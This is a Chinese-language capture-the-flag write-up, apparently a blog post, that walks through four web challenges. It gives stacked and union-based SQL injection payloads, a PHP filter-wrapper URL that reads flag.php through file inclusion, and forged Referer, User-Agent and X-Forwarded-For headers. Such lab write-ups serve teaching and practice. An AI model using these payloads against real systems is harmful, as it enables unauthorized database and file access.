赞
踩
1.[强网杯 2019]随便注
(1)打开环境发现是sql注入
(2)输入1,2这里都会对应回显相应的内容
(3)这里判断一下是不是字符型注入 1'
(4)在判断是否存在关键字过滤 select
(5)发现联合查询等放方式都被过滤了,这里只能尝试堆叠注入了,先看看有几个字段 1’ order by 2# 和 1; order by 3#; 根据回显可判断出字段数为2
这里就先查看数据库 1’; show databases;
(6)再查看数据表 1'; show tables;
(7)根据表中的数据,先爆一下words表中的数据 1'; show columns from words; #
(8)发现words表中并不存在flag文件,再爆一下1919810931114514中的数据 1';show columns from `1919810931114514`; --+
注意:使用show 命令查看表中的「字段」,注意表名要用反引号包裹
(9)打开发现这里存在flag文件,尝试获取flag表中的数据,这里要使用一个handler命令
1';handler `1919810931114514` open;handler `1919810931114514` read first; --+
注:使用handler 命令查看表中的「数据」,需要注意的是,表名如果是数字,则需要使用反引号包裹起来
打开此表就能看到flag数据了
注:MySQL 除了可以使用 select 查询表中的数据,也可使用 handler 语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler 语句并不具备 select 语句的所有功能。它是 MySQL 专用的语句,并没有包含到SQL标准中。handler 语句提供通往表的直接通道的存储引擎接口,可以用于 MyISAM 和 InnoDB 表。
2.[极客大挑战 2019]Secret File
(1)打开环境后是一些文字信息,没有解题作用
(2)查看源码,看这题想文件包含漏洞题,而且源码里还有一个隐藏文件
(3)直接打开这个页面发现还有链接,直接跟着它走
(4)进来之后还是没发现啥有用的
(5)这里就需要靠考虑是不是在两个网页变换时有没有什么变化,直接抓包看看,从响应内容中我们可以看到页面的内容中存在信息泄露,「注释」中有一个文件 secr3t.php
(6)打开这个文件看看里面有啥
(7)访问 secr3t.php 文件,页面中展示了部分代码,很明显是一个「文件包含」漏洞,并提示 flag 就在 flag.php文件中,意思就是让我们查看 flag.php 文件的内容,但是直接打开却打不开
这里跟前面做过的一个看后端源码的题很相似,就是:PHP的文件包含函数有一个「特性」,被包含的文件内容中,如果是「代码」则会执行,而不会在页面中展示;如果是「非代码」(不能被执行的内容),则会以文本的形式在页面中展示出来。针对这一特性,我们可以使用PHP伪协议对文件内容进行「编码」,编码后的文件内容由于不能被执行,会展示在页面中,而后再将页面中的内容复制到本地进行「解码」,即可查看文件内容,拿到 flag。
这里还是选择用base64编码 /secr3t.php?file=php://filter/read=convert.base64--encode/resource=flag.php
(8)用工具解码后查看它的编码内容即可找到flag
3.[极客大挑战 2019]LoveSQL
(1)点进环境后是这样一个界面
(2)这里先输入1 1‘ 1’ or 1=1#等看看回显数据,
发现都输入1‘时是下面这样的
(3)猜解字段数
当username=1' order by 4 -- + password=123456时,页面报错。
(4)当username=1' order by 3 -- + password=123456时,页面正常,判断有三个字段。
(5)寻找回显点
构造sql语句:username=1' union select 1,2,3 -- + password=123456 ;发现存在两个回显点。
(6)再查一下表数据 1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()# 可以看到有geekuser,l0ve1ysq1两个表
(7)先查看第一个表的字段 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'#
(8)再查看第二张表字段 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
(9)再分别看看两张表中的数据 1' union select 1,2,group_concat(id,username,password) from geekuser#
(10)1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1
# 在第二张表中找到flag
4.[极客大挑战 2019]Http
首先这是Http题常见的一种体系,通常需要补全下面的这些内容才能拿到flag
GET or POST / HTTP/1.1
Host:
Cache-Control:
Upgrade-Insecure-Requests:
User-Agent: //一般这个地方也需要改,看题目给的啥提示来改.
//UA的后面接上请求的浏览器 操作系统的信息等.
Accept:
Accept-Encoding:
Accept-Language:
Connection:
X-Forwarded-For://如果提示只能由本地访问,这里内容必须改为127.0.0.1如果给了其他ip,那就改为其他IP地址.
Referer://这地方也需要改,看看题目给的提示,看给哪个url。
Cookie://如果提示只能由管理员访问,就必须把Cookie的内容改为admin。
状态码表明资源的请求结果状态,由三位十进制数组成,第一位代表基本的类别:
这是常见的状态码和短语
(1)打开环境后是一个静态页面
解读<a style="border:none;cursor:default;" οnclick="return false" href="Secret.php">
<a>标签是HTML中用于创建超链接的元素。所以我们可以把"Secret.php"理解为一个链接地址。这个超链接指向名为"Secret.php"的文件或资源。而onclick是点击事件的意思。它被设置为return false,这说明点击该链接时,不会执行任何操作。这样我们就得到了解决本题的有用信息。
(2)进入它源码中的网页
"https://Sycsecret.buuoj.cn" 是一个URL,指向一个名为 "Sycsecret.buuoj.cn" 的网站或资源。即提示要增加Referer值为https://Sycsecret.buuoj.cn。Referer(请求头字段)表示指示请求的来源页面。It doesn’t come from我们可以添加使它变成do。
(3)这里用BP抓包后修改
(4)点击页面渲染。显示界面为Please use "Syclover" browser,表示请使用Syclover浏览器。 即需要增加User-Agent。
注: User-Agent:标识发起请求的用户代理(常为浏览器)
(5)所以我们要把User-Agent的浏览器改为Syclover浏览器。
之后界面显示“No!!! you can only read this locally!!!”表示只能本地访问的意思。
(6)这就需要增加一个X-Forwarded-For:127.0.0.1
注: X-Forwarded-For 是一个 HTTP 扩展头部。HTTP/1.1(RFC 2616)协议并没有对它的定义,它最开始是由 Squid 这个缓存代理软件引入,用来表示 HTTP 请求端真实 IP。如今它已经成为事实上的标准,被各大 HTTP 代理、负载均衡等转发服务广泛使用,并被写入 RFC 7239(Forwarded HTTP Extension)标准之中。
一般的ctf题对 X-Forwarded-For 的考点是 只能由本地访问,就会用到 X-Forwarded-For。
然后就能找到flag了
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。